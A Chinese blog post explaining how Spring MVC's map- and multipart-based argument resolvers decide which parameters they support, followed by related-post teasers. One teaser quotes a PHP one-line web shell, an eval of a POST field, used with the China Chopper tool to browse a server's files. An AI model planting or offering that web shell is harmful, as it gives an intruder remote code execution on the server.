Annotation-based argument resolution 部分2
HandlerMethodArgumentResolver的抽象實現AbstractNamedValueMethodArgumentResolver下的子类 部分1
RequestParamMapMethodArgumentResolver
// 存在@RequestParam注解并且该注解中name属性无值
public boolean supportsParameter(MethodParameter parameter) {
RequestParam requestParam = parameter.getParameterAnnotation(RequestParam.class);
return (requestParam != null && Map.class.isAssignableFrom(parameter.getParameterType()) &&
!StringUtils.hasText(requestParam.name()));
} 可以使用以下6中方式接收参数
MultiValueMap<String, MultipartFile> 相当于==》 Map<String, List<MultipartFile>>
LinkedMultiValueMap<String, Part> 相当于==> LinkedHashMap<String, List<Part>>
MultiValueMap<String, String> 相当于==> Map<String, List<String>> Map<String, MultipartFile>
LinkedHashMap<String, Part>
Map<String, String> PathVariableMapMethodArgumentResolver
public boolean supportsParameter(MethodParameter parameter) {
PathVariable ann = parameter.getParameterAnnotation(PathVariable.class);
return (ann != null && Map.class.isAssignableFrom(parameter.getParameterType()) &&
!StringUtils.hasText(ann.value()));
} 如下方式使用:
@PathVariable LinkedHashMap<String, String> paths MatrixVariableMapMethodArgumentResolver
// 存在@MatrixVariable注解并且该注解中name属性无值
public boolean supportsParameter(MethodParameter parameter) {
MatrixVariable matrixVariable = parameter.getParameterAnnotation(MatrixVariable.class);
return (matrixVariable != null && Map.class.isAssignableFrom(parameter.getParameterType()) &&
!StringUtils.hasText(matrixVariable.name()));
} // 以下使用方式 MultiValueMap<String, String> RequestHeaderMapMethodArgumentResolver
// 存在@RequestHeader 并且 参数类型为Map.class.isAssignableFrom
public boolean supportsParameter(MethodParameter parameter) {
return (parameter.hasParameterAnnotation(RequestHeader.class) &&
Map.class.isAssignableFrom(parameter.getParameterType()));
} 以下方式使用,使用如下参数类型:
MultiValueMap<String, String>
HttpHeaders
Map<String, String> RequestPartMethodArgumentResolver // 接收@RequestPart 并且不能包含 @ReqeusatParam
// 并且满足 MultipartResolutionDelegate.isMultipartArgument 以下类型 也可以通过:
MultipartFile
List<MultipartFile>
MultipartFile[]
Part
List<Part>
Part[] @Override
public boolean supportsParameter(MethodParameter parameter) {
if (parameter.hasParameterAnnotation(RequestPart.class)) {
return true;
}
else {
if (parameter.hasParameterAnnotation(RequestParam.class)) {
return false;
}
return MultipartResolutionDelegate.isMultipartArgument(parameter.nestedIfOptional());
}
} 注解之后使用一下方式接收参数值:
MultipartFile
List<MultipartFile>
MultipartFile[]
Part
List<Part>
Part[] ServletModelAttributeMethodProcessor RequestResponseBodyMethodProcessor
Annotation-based argument resolution 部分2的更多相关文章
- An annotation based command line parser
Java命令行选项解析之Commons-CLI & Args4J & JCommander http://rensanning.iteye.com/blog/2161201 JComm ...
- [转载]Spring Annotation Based Configuration
Annotation injection is performed before XML injection, thus the latter configuration will override ...
- spring Annotation based configuration
spring 注解相关 https://docs.spring.io/spring/docs/3.0.0.M3/reference/html/ch04s11.html
- 译:Spring框架参考文档之IoC容器(未完成)
6. IoC容器 6.1 Spring IoC容器和bean介绍 这一章节介绍了Spring框架的控制反转(IoC)实现的原理.IoC也被称作依赖注入(DI).It is a process wher ...
- springmvc 请求参数解析细节
springmvc 的请求流程,相信大家已经很熟悉了,不熟悉的同学可以参考下资料! 有了整体流程的概念,是否对其中的实现细节就很清楚呢?我觉得不一定,比如:单是参数解析这块,就是个大学问呢? 首先,我 ...
- 摘抄JPA官方文档原文 防呆
Spring Data JPA - Reference Documentation Oliver GierkeThomas DarimontChristoph StroblMark PaluchVer ...
- SpringMVC深度探险(二) —— SpringMVC概览
对于任何事物的研究,总是由表及里.由浅入深地进行.在本系列的第二篇文章中,我们将通过不同的观察视角,对SpringMVC做一些概要性的分析,帮助大家了解SpringMVC的基本构成要素.SpringM ...
- Spring MVC之源码速读之RequestMappingHandlerAdapter
spring-webmvc-4.3.19.RELEASE 下面来看DispatcherServlet中的执行: /** * Exposes the DispatcherServlet-specific ...
- Spring框架文档与API(4.3.6版本)
http://docs.spring.io/spring/docs/current/spring-framework-reference/htmlsingle/ Table of Contents I ...
随机推荐
- tp5 模型中配置数据库连接信息
namespace app\api\model; use think\Model; class BaseModel extends Model { protected $connection = [ ...
- 使用javac命令编译Servlet,并将其放入tomcat中运行
首先我在桌面上新建了一个txt文件,编辑内容(内容来自菜鸟教程)为: // 导入必需的 java 库 import java.io.*; import javax.servlet.*; import ...
- MySQL数据库中字符串函数之left、right用法
语法 LEFT(str,len) Returns the leftmost len characters from the string str, or NULL if any argument is ...
- docker的小技巧记录(如果使用了更多会继续添加)
docker小技巧 复制本地sql脚本到docker容器mysql中进行使用 # 找到容器 docker ps # 复制文件 cp ./xxx.sql container-id:/tmp/ # 进入容 ...
- web服务器-nginx
一.nginx之前 同步与异步: 同步与异步的重点在消息通知的方式上,也就是调用结果的通知方式不同. 同步:当一个同步调用发出去后,调用者要一直等待调用的结果通知后,才能进行后续的操作. 异步:当一个 ...
- Anaconda安装、更新第三方包
conda和pip简介 conda conda是包及其依赖项和环境的管理工具. 适用语言:Python, R, Ruby, Lua, Scala, Java, JavaScript, C/C++, F ...
- php一句话木马+中国菜刀拿服务器文件目录
使用工具: 中国菜刀 一句话php木马 <?php @eval($_POST['123456']);?> 第一步,将php木马上传至服务器,为了方便我就直接在服务器上建立. [root@p ...
- 行业——5G
1. 概述 1.1 定义 5G:5th Generation Mobile Networks / 5th Generation Wireless Systems,第5代移动通信技术 1.2 商标 ...
- 性能测试之Jmeter插件安装
使用Jmeter的实际过程中,需要使用到很多插件,比如json的插件,还有就是做websocket接口测试的时候需要下载websocket的插件,虽然官方提供了插件下载的地址,但是知道为什么每次访问的 ...
- No root/virtual joint specified in SRDF. Assuming fixed joint
在用MoveIt!配置文件时,加载urdf模型时,显示Success......但没有显示模型,终端显示错误如下: 增加虚拟关节就好.